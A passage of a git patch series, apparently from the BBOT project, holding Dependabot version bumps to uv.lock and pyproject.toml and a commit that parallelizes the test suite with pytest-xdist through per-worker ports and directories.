upload-time = "2026-05-18T19:19:33.523Z" }, + { url = "https://files.pythonhosted.org/packages/76/2d/2dafd8149e94b05bb070690efd5bb2680720681e03ff03fc57d2b70a1105/lxml-6.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9e36f163528fc50cbef305f02a5fd66d404edf7049cdaff211dbc2cba5a7013e", size = 5247845, upload-time = "2026-05-18T19:19:36.649Z" }, + { url = "https://files.pythonhosted.org/packages/ce/68/b30e913340c380ddac9580c6e6230991fc37240ec4f64704833e4f3e2769/lxml-6.1.1-cp314-cp314t-win32.whl", hash = "sha256:649dda677cf3bd6ac9ae14007ba0c824ded8ce5808b53fc7431d9140399118c1", size = 3897345, upload-time = "2026-05-18T19:17:33.562Z" }, + { url = "https://files.pythonhosted.org/packages/3c/4e/9eb2af5335545f9fbcd7af57bcf87c6025d31eaa31b14ec184a6c8675328/lxml-6.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:793033d6c5cdf33a573f910d9bea14ef8f5771820411d118da8e1182edb53d5e", size = 4393350, upload-time = "2026-05-18T19:18:10.076Z" }, + { url = "https://files.pythonhosted.org/packages/7f/2c/0f1e93c636720e8a3eb59af2bfda99d98b55891e1c53bc30c2e0e865f01b/lxml-6.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:58bb955caba94e467d2a96da17660d2d704e0675894cba21ab8a775b8621fd1c", size = 3817223, upload-time = "2026-05-19T19:22:56.823Z" }, + { url = "https://files.pythonhosted.org/packages/b5/32/86a3f0f724a3a402d4627937a7fc27b160e45e7012b4adf47f6e1e844511/lxml-6.1.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:31033dc34636ea6b7d5cc11b1ddbda78a14de858ba9d3e1ed4b69a3085bc521e", size = 3930127, upload-time = "2026-05-18T19:19:02.27Z" }, + { url = "https://files.pythonhosted.org/packages/40/44/d832e82af08723761556d004b1d04d281c09f9a8cecd7d3148548c9941a3/lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3893c14c4b6ac5b2d54ba8cf03e99fe5104e592de491f19bd6b82756c09f8004", size = 4210769, upload-time = "2026-05-18T19:20:41.427Z" }, + { url = "https://files.pythonhosted.org/packages/6d/39/0dc5949f759ed7d951e0bb8c2f2d9d7aca1908d22352fa84a8afd2ea54af/lxml-6.1.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c07da4cebf6889f03ebac8d238f62318e29f495de0aa18a51ea14e61ae907e2e", size = 4318163, upload-time = "2026-05-18T19:20:44.702Z" }, + { url = "https://files.pythonhosted.org/packages/e6/fb/8ab3845fe046ba4cbf74536bcf6801a774b7caf4350de1c5d37f1f0a9e90/lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f6f0ce10945fab9c4c06ce14e22af9059d1a87493a9af4501a5b0b9187e21cf2", size = 4250945, upload-time = "2026-05-18T19:20:47.385Z" }, + { url = "https://files.pythonhosted.org/packages/68/1b/7553ab136894374ffae8851ec06f98f511cd8e66246e41b6be059d0a7289/lxml-6.1.1-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f8844cd288697c6425c9beba919302241e3278871dc6519515e72b04e987abcf", size = 4401664, upload-time = "2026-05-18T19:20:50.489Z" }, + { url = "https://files.pythonhosted.org/packages/db/a4/441aee36c6f6b249823d20fd91f9be9ab89d7c5a8ae542a4a4ca6d342d56/lxml-6.1.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:ed21202aec73cda4d55d1ce57b389aadb90ffb044e6cd1080b8347efe1b1ec84", size = 3508989, upload-time = "2026-05-18T19:18:38.158Z" }, ] [[package]] From e6829e882f098cce254b78cce4beda8f76b1f83e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 4 Aug 2026 21:57:05 -0400 Subject: [PATCH 031/256] Bump pip from 26.1.2 to 26.2 (#3360) Bumps [pip](https://github.com/pypa/pip) from 26.1.2 to 26.2. - [Changelog](https://github.com/pypa/pip/blob/main/NEWS.rst) - [Commits](https://github.com/pypa/pip/compare/26.1.2...26.2) --- updated-dependencies: - dependency-name: pip dependency-version: '26.2' dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 4978af1558..b126de48ca 100644 --- a/uv.lock +++ b/uv.lock @@ -1997,11 +1997,11 @@ wheels = [ [[package]] name = "pip" -version = "26.1.2" +version = "26.2" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/01/91/47e7d486260f618783899587af63ccf7980fb60245c3e63dd4571c6b57ad/pip-26.1.2.tar.gz", hash = "sha256:f49cd134c61cf2fd75e0ce2676db03e4054504a5a4986d00f8299ae632dc4605", size = 1840799, upload-time = "2026-05-31T17:33:58.56Z" } +sdist = { url = "https://files.pythonhosted.org/packages/db/96/e6f8e9d9d7b9cc4457092712a7e919c3186aa2c2fa9ffed2c5d29cc947e8/pip-26.2.tar.gz", hash = "sha256:2d8542afcc84cdd8e846c2b36b2861fad1da376dd98f8e7113e9108a3c331690", size = 1848845, upload-time = "2026-07-29T21:57:56.407Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/5d/95/6b5cb3461ea5673ba0995989746db58eb18b91b54dbf331e72f569540946/pip-26.1.2-py3-none-any.whl", hash = "sha256:382ff9f685ee3bc25864f820aa50505825f10f5458ffff07e30a6d96e5715cab", size = 1813144, upload-time = "2026-05-31T17:33:56.772Z" }, + { url = "https://files.pythonhosted.org/packages/62/36/a3aed958d60531cb442b7ab4596cda7b3621cfb916f8ae1d6769795c7dc1/pip-26.2-py3-none-any.whl", hash = "sha256:931c303696af6fa3417112103b1cad26890e5a07eccb5b99783700e33f2b8aad", size = 1816475, upload-time = "2026-07-29T21:57:54.763Z" }, ] [[package]] From 0c0f95af9445bd6952ea405f87252caee911ff8b Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 4 Aug 2026 21:57:30 -0400 Subject: [PATCH 032/256] Bump uvicorn from 0.51.0 to 0.52.0 (#3363) Bumps [uvicorn](https://github.com/Kludex/uvicorn) from 0.51.0 to 0.52.0. - [Release notes](https://github.com/Kludex/uvicorn/releases) - [Changelog](https://github.com/Kludex/uvicorn/blob/main/docs/release-notes.md) - [Commits](https://github.com/Kludex/uvicorn/compare/0.51.0...0.52.0) --- updated-dependencies: - dependency-name: uvicorn dependency-version: 0.52.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 04450e9744..e8b396145d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -76,7 +76,7 @@ dev = [ "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<10", "pytest-asyncio==1.4.0", - "uvicorn>=0.32,<0.52", + "uvicorn>=0.32,<0.53", "fastapi>=0.115.5,<0.141.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", diff --git a/uv.lock b/uv.lock index b126de48ca..61b40a3b9a 100644 --- a/uv.lock +++ b/uv.lock @@ -315,7 +315,7 @@ dev = [ { name = "pytest-timeout", specifier = ">=2.3.1,<3" }, { name = "ruff", specifier = "==0.15.22" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, - { name = "uvicorn", specifier = ">=0.32,<0.52" }, + { name = "uvicorn", specifier = ">=0.32,<0.53" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, ] docs = [ @@ -3222,16 +3222,16 @@ wheels = [ [[package]] name = "uvicorn" -version = "0.51.0" +version = "0.52.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "click" }, { name = "h11" }, { name = "typing-extensions", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/a2/65/b7c6c443ccc58678c91e1e973bbe2a878591538655d6e1d47f24ba1c51f3/uvicorn-0.51.0.tar.gz", hash = "sha256:f6f4b69b657c312f516dd2d268ab9ae6f254b11e4bac504f37b2ab58b24dd0b0", size = 94412, upload-time = "2026-07-08T10:59:05.962Z" } +sdist = { url = "https://files.pythonhosted.org/packages/05/c8/2d307868453a4bca6e64fa3581d122ae0748a0869c53f159339def179c7c/uvicorn-0.52.0.tar.gz", hash = "sha256:ca8876ad6c1983f394157c168b39d52f6dd56dabf5602fa0982751cffc2293ae", size = 97504, upload-time = "2026-07-29T08:45:34.065Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/45/ec/dbb7e5a6b91f86bfb9eb7d2988a2730907b6a729875b949c7f022e8b88fa/uvicorn-0.51.0-py3-none-any.whl", hash = "sha256:5d38af6cd620f2ae3849fb44fd4879e0890aa1febe8d47eb355fb45d93fe6a5b", size = 73219, upload-time = "2026-07-08T10:59:04.44Z" }, + { url = "https://files.pythonhosted.org/packages/39/e6/b5c0630ace9757232aec07112be8146b812787db52141ff9d50674aa7634/uvicorn-0.52.0-py3-none-any.whl", hash = "sha256:3d887809810b89ed33501bcf0a9aba469b06ecd608158efce04bd6b48d8c9b08", size = 79058, upload-time = "2026-07-29T08:45:32.492Z" }, ] [[package]] From db7677b5f067de7854fba9836c5ab3ed047d295e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 5 Aug 2026 06:43:23 -0400 Subject: [PATCH 033/256] Bump fastapi from 0.140.0 to 0.141.1 (#3361) Bumps [fastapi](https://github.com/fastapi/fastapi) from 0.140.0 to 0.141.1. - [Release notes](https://github.com/fastapi/fastapi/releases) - [Commits](https://github.com/fastapi/fastapi/compare/0.140.0...0.141.1) --- updated-dependencies: - dependency-name: fastapi dependency-version: 0.141.1 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 40 ++++++++++++++++++++-------------------- 2 files changed, 21 insertions(+), 21 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index e8b396145d..f627b92a15 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -77,7 +77,7 @@ dev = [ "pytest>=8.3.1,<10", "pytest-asyncio==1.4.0", "uvicorn>=0.32,<0.53", - "fastapi>=0.115.5,<0.141.0", + "fastapi>=0.115.5,<0.142.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "baddns~=2.4.1", diff --git a/uv.lock b/uv.lock index 61b40a3b9a..f2c682a420 100644 --- a/uv.lock +++ b/uv.lock @@ -33,11 +33,11 @@ resolution-markers = [ "python_full_version < '3.11'", ] dependencies = [ - { name = "cryptography", marker = "python_full_version < '3.11'" }, - { name = "jinja2", marker = "python_full_version < '3.11'" }, - { name = "packaging", marker = "python_full_version < '3.11'" }, - { name = "pyyaml", marker = "python_full_version < '3.11'" }, - { name = "resolvelib", version = "1.0.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "cryptography" }, + { name = "jinja2" }, + { name = "packaging" }, + { name = "pyyaml" }, + { name = "resolvelib", version = "1.0.1", source = { registry = "https://pypi.org/simple" } }, ] sdist = { url = "https://files.pythonhosted.org/packages/ff/80/2925a0564f6f99a8002c3be3885b83c3a1dc5f57ebf00163f528889865f5/ansible_core-2.17.14.tar.gz", hash = "sha256:7c17fee39f8c29d70e3282a7e9c10bd70d5cd4fd13ddffc5dcaa52adbd142ff8", size = 3119687, upload-time = "2025-09-08T18:28:03.158Z" } wheels = [ @@ -52,11 +52,11 @@ resolution-markers = [ "python_full_version == '3.11.*'", ] dependencies = [ - { name = "cryptography", marker = "python_full_version == '3.11.*'" }, - { name = "jinja2", marker = "python_full_version == '3.11.*'" }, - { name = "packaging", marker = "python_full_version == '3.11.*'" }, - { name = "pyyaml", marker = "python_full_version == '3.11.*'" }, - { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version == '3.11.*'" }, + { name = "cryptography" }, + { name = "jinja2" }, + { name = "packaging" }, + { name = "pyyaml" }, + { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" } }, ] sdist = { url = "https://files.pythonhosted.org/packages/8b/98/ca1135c50aa3004367ff1f66c101a565ac17b4bfa1c9f9a2d8e395e06775/ansible_core-2.19.6.tar.gz", hash = "sha256:1e6b711e357901422592a1d1e4a076eee918497587646a5843fa61536ede1990", size = 3414480, upload-time = "2026-01-29T19:24:10.09Z" } wheels = [ @@ -71,11 +71,11 @@ resolution-markers = [ "python_full_version >= '3.12'", ] dependencies = [ - { name = "cryptography", marker = "python_full_version >= '3.12'" }, - { name = "jinja2", marker = "python_full_version >= '3.12'" }, - { name = "packaging", marker = "python_full_version >= '3.12'" }, - { name = "pyyaml", marker = "python_full_version >= '3.12'" }, - { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.12'" }, + { name = "cryptography" }, + { name = "jinja2" }, + { name = "packaging" }, + { name = "pyyaml" }, + { name = "resolvelib", version = "1.2.1", source = { registry = "https://pypi.org/simple" } }, ] sdist = { url = "https://files.pythonhosted.org/packages/22/56/a76adc20dee854b52a3e20fcb9c01280bbac52ef54308e5b1c7bc67ade76/ansible_core-2.20.2.tar.gz", hash = "sha256:75e19a3ad8cf659579ea182cdf948ee0900d700e564802e92876de53dbd9715d", size = 3317427, upload-time = "2026-01-29T19:25:04.814Z" } wheels = [ @@ -301,7 +301,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ { name = "baddns", specifier = "~=2.4.1" }, - { name = "fastapi", specifier = ">=0.115.5,<0.141.0" }, + { name = "fastapi", specifier = ">=0.115.5,<0.142.0" }, { name = "maturin", specifier = ">=1.4,<2" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<10" }, @@ -1142,7 +1142,7 @@ name = "exceptiongroup" version = "1.3.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "typing-extensions", marker = "python_full_version < '3.11'" }, + { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } wheels = [ @@ -1151,7 +1151,7 @@ wheels = [ [[package]] name = "fastapi" -version = "0.140.0" +version = "0.141.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "annotated-doc" }, @@ -1160,9 +1160,9 @@ dependencies = [ { name = "typing-extensions" }, { name = "typing-inspection" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/0d/fb/fd7671137d9fa3df1d93a2f5111eb982709201724b29f211e4beb2d58688/fastapi-0.140.0.tar.gz", hash = "sha256:f338951b82fd74ca8f843163aec43ea1a1ce84d515415a50fa98fa25572a5544", size = 420968, upload-time = "2026-07-24T21:16:41.187Z" } +sdist = { url = "https://files.pythonhosted.org/packages/8a/02/91e3416a8fdd715abb903a952a6bec7cdd8d14eed55d415fc8595524c319/fastapi-0.141.1.tar.gz", hash = "sha256:e8822fc40db1e1858054d7a949a888695bc9bdce70139178e33bd2871a453ca1", size = 425799, upload-time = "2026-07-29T17:18:05.568Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/eb/76/6d9e25ad88da9d3ff744bcdbec4736e38c2288611d43f673a5d9bfa27c07/fastapi-0.140.0-py3-none-any.whl", hash = "sha256:e951c0a0d9540bf5d9a2a9e078fd415da2ab7e312d435139e7d9e2e7fe9f0b23", size = 130863, upload-time = "2026-07-24T21:16:42.89Z" }, + { url = "https://files.pythonhosted.org/packages/cb/03/10388a42375ee7e4ac9b94eb2c5c569c8b5795e377e701c9ac3ad63de890/fastapi-0.141.1-py3-none-any.whl", hash = "sha256:bfb91aa2d334c61cb35ba9a116fc123b3d3df31640b801cf57a7a78ec3f603b3", size = 131954, upload-time = "2026-07-29T17:18:04.364Z" }, ] [[package]] From 53264176e9129b8196ae0ed879404e61fe464dcb Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 10 Aug 2026 19:54:07 -0700 Subject: [PATCH 034/256] Bump pip from 26.2 to 26.2.1 (#3369) Bumps [pip](https://github.com/pypa/pip) from 26.2 to 26.2.1. - [Changelog](https://github.com/pypa/pip/blob/main/NEWS.rst) - [Commits](https://github.com/pypa/pip/compare/26.2...26.2.1) --- updated-dependencies: - dependency-name: pip dependency-version: 26.2.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index f2c682a420..4a4af70769 100644 --- a/uv.lock +++ b/uv.lock @@ -1997,11 +1997,11 @@ wheels = [ [[package]] name = "pip" -version = "26.2" +version = "26.2.1" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/db/96/e6f8e9d9d7b9cc4457092712a7e919c3186aa2c2fa9ffed2c5d29cc947e8/pip-26.2.tar.gz", hash = "sha256:2d8542afcc84cdd8e846c2b36b2861fad1da376dd98f8e7113e9108a3c331690", size = 1848845, upload-time = "2026-07-29T21:57:56.407Z" } +sdist = { url = "https://files.pythonhosted.org/packages/ae/15/4500e320e6b101ec3b719ae85b697d9940b6cda672bc555bd6016fc60c6f/pip-26.2.1.tar.gz", hash = "sha256:f6ad667e89a1fe78046c8f13232b247200f5258d7828f3f7883d660878e0813f", size = 1848877, upload-time = "2026-08-04T22:51:14.148Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/62/36/a3aed958d60531cb442b7ab4596cda7b3621cfb916f8ae1d6769795c7dc1/pip-26.2-py3-none-any.whl", hash = "sha256:931c303696af6fa3417112103b1cad26890e5a07eccb5b99783700e33f2b8aad", size = 1816475, upload-time = "2026-07-29T21:57:54.763Z" }, + { url = "https://files.pythonhosted.org/packages/f3/6e/1736e5b4ae2b778ef2f81c47d797de9f891d4d8acb047a24ca37a60294dd/pip-26.2.1-py3-none-any.whl", hash = "sha256:71138adf1f4ca900cdb7d289c21b7494329f2332b6d85f0e1c42108c0384ed3e", size = 1816632, upload-time = "2026-08-04T22:51:12.472Z" }, ] [[package]] From b19ef9ee9538e381bc099a860181fbe7fd5f4f70 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 10 Aug 2026 19:54:13 -0700 Subject: [PATCH 035/256] Bump packaging from 26.2 to 26.3 (#3371) Bumps [packaging](https://github.com/pypa/packaging) from 26.2 to 26.3. - [Release notes](https://github.com/pypa/packaging/releases) - [Changelog](https://github.com/pypa/packaging/blob/main/CHANGELOG.rst) - [Commits](https://github.com/pypa/packaging/compare/26.2...26.3) --- updated-dependencies: - dependency-name: packaging dependency-version: '26.3' dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 4a4af70769..84e12ff370 100644 --- a/uv.lock +++ b/uv.lock @@ -1958,11 +1958,11 @@ wheels = [ [[package]] name = "packaging" -version = "26.2" +version = "26.3" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" } +sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79", size = 313412, upload-time = "2026-08-04T18:15:28.737Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" }, + { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 129956, upload-time = "2026-08-04T18:15:27.159Z" }, ] [[package]] From c8e377b0836dc3aaf4a63fda0aba2ebe66b5eb59 Mon Sep 17 00:00:00 2001 From: Shane Engelman Date: Mon, 10 Aug 2026 19:59:42 -0700 Subject: [PATCH 036/256] Parallelize test suite with pytest-xdist (#3353) * test: parallelize suite with pytest-xdist Test servers bound fixed ports (8888/9999/5556) and 58 test files hardcoded those in URLs, so the suite could only ever run serially. CI spent ~58 min in a single pytest call while using one of four cores. - bbot/test/ports.py: resolve server ports per xdist worker - conftest.py: tolerate listener=None (workers inherit _BBOT_LOGGING_SETUP) - 57 test files: hardcoded host:port -> constants from bbot.test.ports localhost and 127.0.0.1 spellings are kept distinct; virtualhost tests assert on the Host header, where they are not interchangeable. test_regexes.py is untouched, its literals are regex fixtures, not references to the test server. * test: isolate per-worker state for parallel runs Beyond the server ports, three things were process-global and would corrupt each other under xdist: - BBOT home (/tmp/.bbot_test): shared caches and scan output, and pytest_sessionfinish rmtree's it. The first worker to finish would delete the directory out from under every worker still running. - uvicorn (8978) and websockets (8765) servers: bound fixed ports. - docker-backed tests (kafka, elastic, mongo, mysql, nats, postgres, rabbitmq): fixed container names and fixed host port bindings, so they genuinely cannot run concurrently. They are now pinned to a single worker via xdist_group, keyed off the skip_distro_tests flag they already set. Renamed ports.py -> worker.py since it now covers more than ports. Port bases were chosen with distinct mod-100 residues; verified collision-free and clear of the ephemeral range for up to 64 workers. * ci: run tests in parallel pytest-xdist added to the dev group; workflow runs with -n logical --dist loadgroup. loadgroup (not loadfile) is required so the xdist_group marker on the docker-backed tests is honored. * test: bound docker service waits and size worker count by memory Two problems surfaced running the suite 16-way on a 16-core/15GB box. Elasticsearch was OOM-killed (exit 137): 16 workers hold ~10GB, leaving under 3GB, and it wants ~2GB of heap. The test then waited for it in an unbounded 'while True', so a container that was already dead hung the run at 99% until the 1200s global timeout. Same unbounded loop in the mongo test. Both now stop after CONTAINER_READY_TIMEOUT (180s, overridable) and say what happened, including the exit-137 hint. '-n logical' is the wrong worker count when cores outnumber GB. worker_count.py bounds by cores AND by available memory, keeping 5GB free for the docker-backed services. A 4-core/16GB github runner is unaffected (still 4); this box goes 16 -> 15. Override with BBOT_TEST_WORKERS. * test: fix parallel-run regressions missed by the first port pass Running the suite under xdist surfaced failures that were my own, not pre-existing. Four separate gaps: Logging. Workers inherit _BBOT_LOGGING_SETUP from the pytest parent, so BBOTLogger skipped setup entirely and debug.log was never written. The previous 'if listener is not None' guard hid that instead of fixing it, and log-reading tests failed with 'assert -retries 1 in ""'. Workers now clear the flag so each sets up its own logging, and conftest raises if a process somehow still has no listener. Port literals the first pass did not match, because it only looked for 127.0.0.1:PORT and localhost:PORT: * synthetic hostnames carrying the port (test.example:8888, bad.dns:8888) * the bbot_other_httpservers fixture, six servers hardcoded to 8888/8889 * config values like {"ports": "8888"}, which are not URLs * 127.0.0.0:9999 (the .0 address, excluded along with .1) * filename/slug spellings: 127.0.0.1.8888 and http-127-0-0-1-8888 * mocked masscan JSON, whose port is what the module 'discovers' Hardcoded /tmp/.bbot_test paths, which my own per-worker home broke. Adds BBOT_TEST_PORT_OFFSET so a second copy of the suite can run beside one that already owns the base ports, instead of the two colliding and looking like a worker-isolation bug. * test: remove ordering dependency and fix integer port comparisons Full-suite A/B surfaced the last regressions from parallelization. asset_inventory: TestAsset_InventoryEmitPrevious runs with use_previous=True, which reads the asset-inventory.csv left behind by an earlier scan of the same name. It was relying on TestAsset_Inventory having already run. That is order-dependent, and xdist guarantees neither order nor worker affinity, so it failed whenever it was scheduled first or landed on another worker (each worker has its own BBOT home). It now seeds the CSV itself in setup_before_prep, which makes it independent and drops its runtime from ~20s to ~4s since it no longer needs the portscan. Port comparisons written as bare integers (e.port == 8888) in test_scope.py and test_module_fingerprintx.py. The earlier passes only rewrote string literals, so these were missed. Also groups tests that share a scan_name onto one worker, alongside the existing docker grouping. Not sufficient on its own for the ordering problem above, but correct for co-locating tests that share a scan home. * test: stop hardcoding the BBOT home directory name in path assertions git_clone writes cloned repos to git_repos//, so the home directory's *basename* shows up inside the paths these tests assert on. They spelled it '.bbot_test', which stopped matching once each xdist worker got its own home ('.bbot_test_gw0'). Export BBOT_TEST_DIR_NAME from worker.py and use it instead. Worth noting these reproduce with '-n 1', a single worker with no concurrency at all. They were never race conditions, just the per-worker home rename, and checking '-n 1' before '-n 4' would have found that much faster. * test: fix port in a regex literal and a self-poisoning cli precondition test_module_robots matched the server URL with a raw regex string, where the port sits behind escaped dots (r"http://127\.0\.0\.1:8888/..."). The earlier rewrites looked for plain literals and skipped it, so the test failed whenever it landed on a worker whose port was not 8888. test_cli_presets asserts a scan output dir does not exist yet, and removes it at the end of the test. Any earlier failure or interrupted run leaves it in place, and every later run against that BBOT home then fails on the assertion rather than on the real problem. It now clears the directory up front, so the precondition is established instead of assumed. Both showed up as intermittent (~25% of runs) rather than deterministic, which is what made them the last two to be found. * test: cut dead code and de-duplicate the container wait Net removal pass over the parallelization work. Removed: - BBOT_TEST_PORT_OFFSET and port_offset(). Added for running two copies of the suite side by side while benchmarking. Nothing outside worker.py used it. - LOCALHOST_SSL_HOSTPORT, the BASE_* port aliases, and the worker_index() wrapper. All unused or single-use indirection. - OTHER_HTTPSERVER_PORT, which was literally 'OTHER_HTTPSERVER_PORT = HTTPSERVER_PORT'. Renamed to HTTPSERVER_PORT/HTTPSERVER_PORT_ALT at its one call site. - The scan_name xdist grouping. It compensated for asset_inventory's ordering dependency, which the previous commit removed by having the test seed its own input, so the grouping no longer does anything. Verified: 3x green at 4 workers without it. - worker_count's -v flag and MIN_WORKERS floor. The floor guaranteed 2 workers even when the memory arithmetic said there was room for none, which is an assumption I never validated; a 2-core/4GB box now correctly gets 1. - A dead 'import time' the refactor exposed. De-duplicated: - The container readiness loop was copy-pasted between elastic (sync) and mongo (async), each with its own deadline handling and OOM hint. Now one wait_for_container() helper that takes either kind of callable. worker.py 154 -> 100 lines, worker_count.py 64 -> 38, conftest hook 40 -> 13. * test: fix gowitness hardcoded ports and shared home directory Caught by CI on this PR, not locally: gowitness needs its binary installed, so both classes error out on my machine and never reached the assertions. Two bugs: The multiport test asserted on bare port substrings ('8888' in url) rather than URL-shaped literals, so the earlier rewrites did not match them. On any worker but the first the ports are 9188/10299 and the assertion could never pass. Both classes also pinned an explicit home directory under /tmp and rmtree'd it at class-definition time, which every worker does to the same path. Workers deleted each other's dependency installs mid-run, which is where the FileNotFoundError on the depsinstaller artifact came from. Now worker-scoped. Worth noting these run with deps.behavior=force_install, so each worker installs its own copy of chrome, ~650MB. That is fine on a runner where /tmp is disk-backed, but it multiplies with worker count. * test: fix a hardcoded port in the virtualhost canary regex The force_basehost wildcard-canary check still matched a literal 8888, so on any worker but gw0 it never matched. Both that branch and the fallthrough return 404, which is why it did not show up as a failure. * test: give the remaining fixed /tmp paths a per-worker name Same class of bug as the gowitness home directory that CI caught: paths that are fine serially but shared once workers run concurrently. - test_python_api used one BBOT home across two tests, so the dep installer wrote and read the same artifacts directory from two workers - test_presets wrote a fixed custom preset dir - test_command and test_web wrote fixed scratch files, then read them back * ci: skip the benchmark PR comment on fork pull requests A pull_request run from a fork gets a read-only GITHUB_TOKEN regardless of the permissions block, so github-script fails with HttpError: Resource not accessible by integration (403) POST /repos/.../issues/{n}/comments and takes the whole job red. Every fork PR has a failing Performance Benchmarks check for a reason that has nothing to do with performance, which trains people to ignore a red check. Skip the comment step when the head repo is not this repo. The benchmark still runs and the report is still uploaded as an artifact, so nothing is lost except a comment that could never have been posted. * test: cover the worker count and isolation helpers Codecov flagged worker_count.py at 0 percent: the workflow runs it as a script, so pytest never imported it. worker.py was only covered incidentally. These two modules decide how many workers run and how each one gets its own ports and directories, so a silent regression there either overloads the runner or lets workers collide. Verified by mutation: removing the max(1, ...) clamp, dropping the memory cap, and swapping sched_getaffinity for os.cpu_count each fail these tests. --- .github/workflows/benchmark.yml | 7 +- .github/workflows/tests.yml | 2 +- bbot/test/bbot_fixtures.py | 5 +- bbot/test/conftest.py | 49 +- bbot/test/test_step_1/test_bbot_fastapi.py | 13 +- bbot/test/test_step_1/test_cli.py | 6 + bbot/test/test_step_1/test_command.py | 16 +- .../test_step_1/test_excavate_url_regexes.py | 3 +- .../test_manager_scope_accuracy.py | 491 +++++++++--------- 